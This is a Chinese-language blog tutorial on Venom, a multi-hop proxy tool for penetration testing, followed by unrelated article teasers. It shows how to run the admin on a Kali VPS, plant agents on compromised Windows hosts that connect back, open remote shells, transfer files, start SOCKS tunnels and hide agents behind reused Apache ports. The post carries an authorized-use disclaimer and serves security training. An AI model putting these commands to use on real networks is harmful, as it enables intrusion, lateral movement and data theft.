【渗透工具】内网多级代理工具Venom详细使用教程

news2024/12/29 10:04:40

免责申明

本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

简介

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。

Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。

渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

使用

使用案例

最终效果需要在kali上运行服务端,在win7上建立第一个节点,在win10上建立第二个节点,如有多级代理一次类推

venmo文件目录

VPS以本地kali为例,执行命令,获取相关命令帮助

./admin_linux_x64 

在这里插入图片描述

Venom version: 1.1

Usage:
        $ ./venom_admin -lport [port]
        $ ./venom_admin -rhost [ip] -rport [port]

Options:
  -lport port
        Listen a local port.  //设置监听端口
  -passwd password
        The password used in encrypted communication. (optional)  //设置密码
  -rhost ip
        Remote ip address.  //连接端口
  -rport port
        The port on remote host.  //连接地址

创建一级节点

在kali 服务器上执行:

./admin_linux_x64 -lport 12138 -passwd xiaoc

在这里插入图片描述

实际环境中通过获取win7的权限,将venom的agent 工具上传到win7
执行如下命令:

admin.exe -rhost VPS_ip -rport 12138 -passwd xiaoc

admin节点和agent节点均可监听连接也可发起连接

admin监听端口,agent发起连接:

./admin_linux_x64 -lport 9999  -passwd xiaoc
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999 -passwd xiaoc

agent监听端口,admin发起连接:

./agent_linux_x64 -lport 8888  -passwd xiaoc
./admin_linux_x64 -rhost 192.168.204.139 -rport 8888  -passwd xiaoc

执行完命令后,第一个节点上线,可以使用show获取当前拓扑
在这里插入图片描述
获取节点后支持的命令如下:

  help                                     Help information.
  exit                                     Exit.
  show                                     Display network topology.
  getdes                                   View description of the target node.
  setdes     [info]                        Add a description to the target node.
  goto       [id]                          Select id as the target node.
  listen     [lport]                       Listen on a port on the target node.
  connect    [rhost] [rport]               Connect to a new node through the target node.
  sshconnect [user@ip:port] [dport]        Connect to a new node through ssh tunnel.
  shell                                    Start an interactive shell on the target node.
  upload     [local_file]  [remote_file]   Upload files to the target node.
  download   [remote_file]  [local_file]   Download files from the target node.
  socks      [lport]                       Start a socks5 server.
  lforward   [lhost] [sport] [dport]       Forward a local sport to a remote dport.
  rforward   [rhost] [sport] [dport]       Forward a remote sport to a local dport.

在这里插入图片描述

例如使用shell命令
使用goto 1进入第一个节点,使用shell执行ipconfig命令
在这里插入图片描述
在实际攻防中会经常用到socks代理,例如
在这里插入图片描述
设置socke代理成功后可通过在浏览器配置代理或者配置proxychains4工具访问其他端口服务

创建第二个节点

创建好第一个节点后,通过渗透获取第二节点的win10服务器权限

在kali端进入第一个节点

监听8787端口

listen 8787

在这里插入图片描述

将agent工具上传到win10服务器,执行命令

agent.exe -rhost 10.168.2.20 -rport 8787 -passwd xiaoc

在这里插入图片描述
第二个节点上线成功
在这里插入图片描述
在这里插入图片描述

agent节点支持端口复用

agent提供了两种端口复用方法

  1. 通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用
  2. 通过iptables进行端口复用(仅支持Linux平台)

通过venom提供的端口复用功能,在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。

第一种端口复用方法

# 以windows下apache为例
# 复用apache 80端口,不影响apache提供正常的http服务
# -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80

第二种端口复用方法

# 以linux下apache为例
# 需要root权限
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80

这种端口复用方法会在本机设置iptables规则,将reuse-port的流量转发到lport,再由agent分发流量

需要注意一点,如果通过sigterm,sigint信号结束程序(kill或ctrl-c),程序可以自动清理iptables规则。如果agent被kill -9杀掉则无法自动清理iptables规则,需要手动清理,因为agent程序无法处理sigkill信号。

为了避免iptables规则不能自动被清理导致渗透测试者无法访问80端口服务,所以第二种端口复用方法采用了iptables -m recent通过特殊的tcp包控制iptables转发规则是否开启。

这里的实现参考了 https://threathunter.org/topic/594545184ea5b2f5516e2033

# 启动agent在linux主机上设置的iptables规则
# 如果rhost在内网,可以使用socks5代理脚本流量,socks5代理的使用见下文
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80

# 连接agent节点
./admin_macos_x64 -rhost 192.168.204.135 -rport 80

# 如果要关闭转发规则
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80

节点间通信加密

Venom提供节点间通信加密功能,用户可通过-passwd选项指定密码,该密码用于生成AES加密所需的密钥。

# 通过-passwd指定密码为dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe

# agent指定相同的密码与admin节点连接
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe

下载链接

关注公众号回复“20240628”获取下载链接

关注公众号

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1873922.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SecureBoost:一种无损的联邦学习框架

SecureBoost:一种无损的联邦学习框架 文章目录 SecureBoost:一种无损的联邦学习框架1 引言2 预备知识与相关工作3 问题描述4 联邦学习与SecureBoost5 联邦推理6 无损属性的理论分析7 安全讨论8 实验9 结论 摘要——用户隐私保护是机器学习中的一个重要问…

MySQL高级-SQL优化- limit优化(覆盖索引加子查询)

文章目录 0、limit 优化0.1、从表 tb_sku 中按照 id 列进行排序,然后跳过前 9000000 条记录0.2、通过子查询获取按照 id 排序后的第 9000000 条开始的 10 条记录的 id 值,然后在原表中根据这些 id 值获取对应的完整记录 1、上传5个sql文件到 /root2、查看…

AV Foundation学习笔记二 - 播放器

ASSets AVFoundation框架的最核心的类是AVAsset,该类是整个AVFoundation框架设计的中心。AVAsset是一个抽象的(意味着你不能调用AVAsset的alloc或者new方法来创建一个AVAsset实例对象,而是通过该类的静态方法来创建实例对象)、不…

Python:探索高效、智能的指纹识别技术(简单易懂)

目录 概括 导入库 函数一 参数: 函数二 函数三 主函数 运行结果 src: model_base 7.bmp ​编辑 总结 概括 指纹识别是一种基于人体生物特征的身份验证技术。它通过捕捉和分析手指上的独特纹路和细节特征,实现高准确度的身份识别。…

多地高温持续“热力”爆表 约克VRF中央空调带你清凉舒爽一夏

“出门5分钟,流汗2小时”,夏季高温天气,怎一个“热”字了得?6月以来,我国多地迎来高温“炙烤”,全国出现40℃以上高温的范围持续增加,随着中央气象台高温预警持续拉响,人们都很纳闷:…

springboot + Vue前后端项目(第二十一记)

项目实战第二十一记 写在前面1. springboot文件默认传输限制2. 安装视频插件包命令3. 前台Video.vue4. 创建视频播放组件videoDetail.vue5. 路由6. 效果图总结写在最后 写在前面 本篇主要讲解系统集成视频播放插件 1. springboot文件默认传输限制 在application.yml文件中添…

5. Spring IoCDI ★ ✔

5. Spring IoC&DI 1. IoC & DI ⼊⻔1.1 Spring 是什么?★ (Spring 是包含了众多⼯具⽅法的 IoC 容器)1.1.1 什么是容器?1.1.2 什么是 IoC?★ (IoC: Inversion of Control (控制反转))总…

2.用BGP对等体发送路由

2.用BGP对等体发送路由 实验拓扑: 实验要求:用BGP对等体发送路由信息 实验步骤: 1.完成基本配置(略) 2.建立BGP对等体(略) 3.创建路由信息(用创建一个loop back接口就能产生一个直连…

毅速丨金属3D打印是制造业转型升级的重要技术

随着科技的进步,金属3D打印技术已成为制造业升级的重要驱动力。它以其独特的优势,正引领着制造业迈向新的未来。 金属3D打印技术的突破: 设计自由。金属3D打印能制造任意形状和结构的零件,为设计师提供了无限的创意空间。 快速制…

AI数据分析003:用kimi生成一个正弦波数学动画

文章目录 一、正弦波公式二、输入内容三、输出内容一、正弦波公式 ƒ(x) = a * sin(x + x0) + b 公式中: a: 决定正弦函数振动幅度的大小; x0:表示x开始比0拖后的弧度值; b:表示函数偏离X轴的距离; 对于难以理解的学生来说,可以用动画把这个公式直观的展现出来。 二…

深入理解 XML 和 HTML 之间的区别

在现代网络技术的世界中,XML(可扩展标记语言)和 HTML(超文本标记语言) 是两个非常重要的技术。尽管它们都使用标签和属性的格式来描述数据,但它们在形式和用途上有显著的区别。 概述 什么是 XML&#xff…

【51单片机入门】数码管原理

文章目录 前言共阴极与共阳极数码管多个数码管显示原理 总结 前言 在我们的日常生活中,数码管被广泛应用于各种电子设备中,如电子表、计时器、电子钟等。数码管的主要功能是显示数字和一些特殊字符。在这篇文章中,我们将探讨数码管的工作原理…

搭建ASPP:多尺度信息提取网络

文章目录 介绍代码实现 介绍 ASPP(Atrous Spatial Pyramid Pooling),空洞空间卷积池化金字塔。简单理解就是个至尊版池化层,其目的与普通的池化层一致,尽可能地去提取特征。ASPP 的结构如下: 如图所示&…

容联云容犀Desk在线客服:全渠道+全场景+全智能辅助,提升客户体验

如今,客户体验已经从基础的对话、交易、业务办理,转变为深度的生活联结、情感共鸣、价值认可。客户期待的转变,也让更多企业越发重视“以客户为中心”的业务增长战略。 容犀Desk营销服统一体验工作空间应运而生,其核心能力在线客…

INDEMIND:智效赋能,让服务机器人服务于人

商用清洁机器人的价值战。 随着行业发展势头回归冷静,“卖家秀”时代成为过去,机器人拼技术、拼产品的价值战时代已然到来。 庞大的前景是香饽饽也是镜中花 作为被业内寄予厚望的服务机器人之一,背后的信心是来自于明确的需求和庞大的市场…

JAVA-矩阵置零

给定一个 m x n 的矩阵,如果一个元素为 0 ,则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 思路: 找到0的位置,把0出现的数组的其他值夜置为0 需要额外空间方法: 1、定义两个布尔数组标记二维数组中行和列…

vue3 【提效】自动路由(含自定义路由) unplugin-vue-router 实用教程

不再需要为每一个路由编写冗长的 routes 配置啦,新建文件便可自动生成路由! 使用方法 1. 安装 unplugin-vue-router npm i -D unplugin-vue-router2. 修改 vite 配置 vite.config.ts import VueRouter from unplugin-vue-router/viteplugins 中加入 V…

【前端】简易化看板

【前端】简易化看板 项目简介 看板分为三个模块,分别是待办,正在做,已做完三个部分。每个事件采取"卡片"式设计,支持任务间拖拽,删除等操作。 代码 import React, { useState } from react; import { Car…

Ubuntu多显示器设置不同缩放比例

Ubuntu多显示器设置不同缩放比例 设备问题解决方案 设备 笔记本屏幕分辨率为2560 \times 1600,外接显示器的分辨率为3840 \times 2160。 问题 Ubuntu默认的显示器设置中,缩放仅能选择100%,200%,300%,400%。假…

从我邮毕业啦!!!

引言 时间过的好快,转眼间就要从北邮毕业了,距离上一次月度总结又过去了两个月,故作本次总结。 PS: https://github.com/WeiXiao-Hyy/blog整理了后端开发的知识网络,欢迎Star! 毕业🎓 6月1号完成了自己的…